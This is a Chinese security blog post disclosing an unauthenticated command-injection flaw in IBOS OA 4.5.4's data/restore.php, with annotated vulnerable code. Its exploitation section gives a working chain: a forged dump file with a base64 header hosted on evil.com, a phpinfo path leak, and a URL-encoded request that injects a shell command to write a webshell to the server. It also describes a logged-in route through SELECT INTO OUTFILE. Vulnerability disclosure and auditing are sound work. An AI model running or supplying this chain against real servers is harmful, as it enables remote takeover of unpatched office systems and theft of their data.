IBOS OA系统开源版<=4.5.4 小0day 无需登录getshell

in 一些研究 with 3 comments

经历:

在A5源码站里,找了个排名比较靠前的PHP系统,审计了下,找了个比较简单的getshell漏洞(命令执行)

漏洞描述:

IBOS OA管理系统最新的4.5.4开源版本存在多处漏洞,可导致服务器gethell,有趣的是,在pro版的4.5.4版本,已经删除了restore.php文件,建议使用开源版IBOS的用户,及时更名或者删除./data/restore.php

漏洞分析:

可以看https://gitee.com/ibos/IBOS/blob/master/data/restore.php
首先,可以发现 getRequest('op') 在获取到op参数后,判断如果op=restore,则进入restore函数。

$op = Env::getRequest('op');
$msg = $url = '';
$type = 'message';
$success = 1;

if ($op == 'restore') {
    $id = Env::getRequest('id');
    $status = restore($id);
    extract($status);
    showMeassage($msg, $url, $type, $success);

可以看整个restore函数,因为函数不长,就把漏洞的思路直接贴在代码注释里:

/**
 * 恢复备份的sql文件
 * @param string $id 文件名
 * @return array
 */
function restore($id)
{
    $path = PATH_ROOT;
    if (strstr($path, 'data')) {
        $id = trim(str_replace('data', '', $id), '/');
    }
    $file = urldecode($id); //id=http://evil.com/1.txt
    $fp = @fopen($file, 'rb'); //fopen载入了远程的1.txt
    if ($fp) {
        $sqlDump = fgets($fp, 256);
        $identify = explode(',', base64_decode(preg_replace("/^# Identify:\s*(\w+).*/s", "\\1", $sqlDump))); //解码base64 各项参数值
        $dumpInfo = array(
            'method' => $identify[3],
            'volume' => intval($identify[4]),
            'tablepre' => $identify[5],
            'dbcharset' => $identify[6]
        );
        if ($dumpInfo['method'] == 'multivol') { //如果method=multivol,也可以造成任意sql语句执行。
            $sqlDump .= fread($fp, filesize($file)); //由于存在fread,如果进了这个判断,远程文件会导致代码报错,可以用本地上传的方式。
        }
        fclose($fp);
    } else {
        if (Env::getRequest('autorestore', 'G')) {
            return array('success' => 1, 'msg' => Ibos::lang('Database import multivol succeed', 'dashboard.default'));
        } else {
            return array('success' => 0, 'msg' => Ibos::lang('Database import file illegal', 'dashboard.default'));
        }
    }
    $command = Ibos::app()->db->createCommand();
    // 分卷导入
    if ($dumpInfo['method'] == 'multivol') {
        $sqlQuery = StringUtil::splitSql($sqlDump);
        unset($sqlDump);
        $dbCharset = Ibos::app()->db->charset;
        $dbVersion = Ibos::app()->db->getServerVersion();
        foreach ($sqlQuery as $sql) {
            $sql = Database::syncTableStruct(trim($sql), $dbVersion > '4.1', $dbCharset);
            if ($sql != '') {
                $command->setText($sql)->execute();
            }
        }
        $delunzip = Env::getRequest('delunzip', 'G');
        if ($delunzip) {
            @unlink($file);
        }
        $pattern = "/-({$dumpInfo['volume']})(\..+)$/";
        $relacement = "-" . ($dumpInfo['volume'] + 1) . "\\2";
        $nextFile = preg_replace($pattern, $relacement, $file);
        $nextFile = urlencode($nextFile);
        $param = array(
            'op' => 'restore',
            'id' => $nextFile,
            'autorestore' => 'yes'
        );
        if ($delunzip) {
            $param['delunzip'] = 'yes';
        }
        $msg = Ibos::lang('Database import multivol redirect', 'dashboard.default', array('volume' => $dumpInfo['volume']));
        $url = 'restore.php?' . http_build_query($param);
        if ($dumpInfo['volume'] == 1) {
            return array('type' => 'redirect', 'msg' => $msg, 'url' => $url);
        } elseif (Env::getRequest('autorestore', 'G')) {
            return array('type' => 'redirect', 'msg' => $msg, 'url' => $url);
        } else {
            return array('success' => 1, 'msg' => Ibos::lang('Database import succeed', 'dashboard.default'));
        }
    } else if ($dumpInfo['method'] == 'shell') { //此时,进入shell的判断
        // 加载系统生成配置文件
        $config = @include PATH_ROOT . './system/config/config.php';
        if (empty($config)) {
            throw new Exception(Ibos::Lang('Config not found', 'error'));
        } else {
            $db = $config['db'];
        }
        $query = $command->setText("SHOW VARIABLES LIKE 'basedir'")->queryRow();
        $mysqlBase = $query['Value'];
        $mysqlBin = $mysqlBase == '/' ? '' : addslashes($mysqlBase) . 'bin/';
        shell_exec($mysqlBin . 'mysql -h"' . $db['host'] . ($db['port'] ? (is_numeric($db['port']) ? ' -P' . $db['port'] : ' -S"' . $db['port'] . '"') : '') .
            '" -u"' . $db['username'] . '" -p"' . $db['password'] . '" "' . $db['dbname'] . '" < ' . $file); //此处直接把 $file 拼接到了 shell_exec中,由于$file是 http://evil.com/1.txt & whoami,造成了命令执行
        return array('success' => 1, 'msg' => Ibos::lang('Database import succeed', 'dashboard.default'));
    } else {
        return array('success' => 0, 'msg' => Ibos::lang('Database import file illegal', 'dashboard.default'));
    }
}

漏洞利用:

目标站点记做 http://localhost/

无需登录版本getshell,需服务端开启allow_url_fopen:

首先,上传一个文件到自己的服务器上,记做 http://evil.com/1.txt

# Identify: MTUzNzQxMzY1MCw0LjUuNCxhbGwsc2hlbGwsMSx0ZXN0Ml8sdXRmOA==
# <?php exit();?>
# IBOS Multi-Volume Data Dump Vol.1
# Version: IBOS 4.5.4
# Time: 2018-09-20 11:20:50
# Type: all
# Table Prefix: test2_
#
# IBOS Home: http://www.ibos.com.cn
# Please visit our website for newest infomation about IBOS
# --------------------------------------------------------


SET NAMES 'utf8';

然后,访问 http://localhost/install/api.php?p=phpinfo
从返回的phpinfo中得到站点的真实路径,记做/home/wwwroot/。
phpinfo
然后访问 http://localhost/data/restore.php?op=restore&id=http%3A//evil.com/1.txt?%20%26%20echo%20%27xxx%27%20%3E%20/home/wwwroot/xxx.php 写入一句话木马。

需要登录版本的getshell:

登陆后在个人网盘上传txt文件,这样就不需要allow_url_fopen,也可以进入任意SQL语句执行的判断里,用SQL语句select into outfile写shell。

Responses

captcha |

  1. 师傅太强了溜了溜了。

    Reply
  2. 博主你好,我发现有空格无法绕过................

    Reply
    1. @test

      啥?

      Reply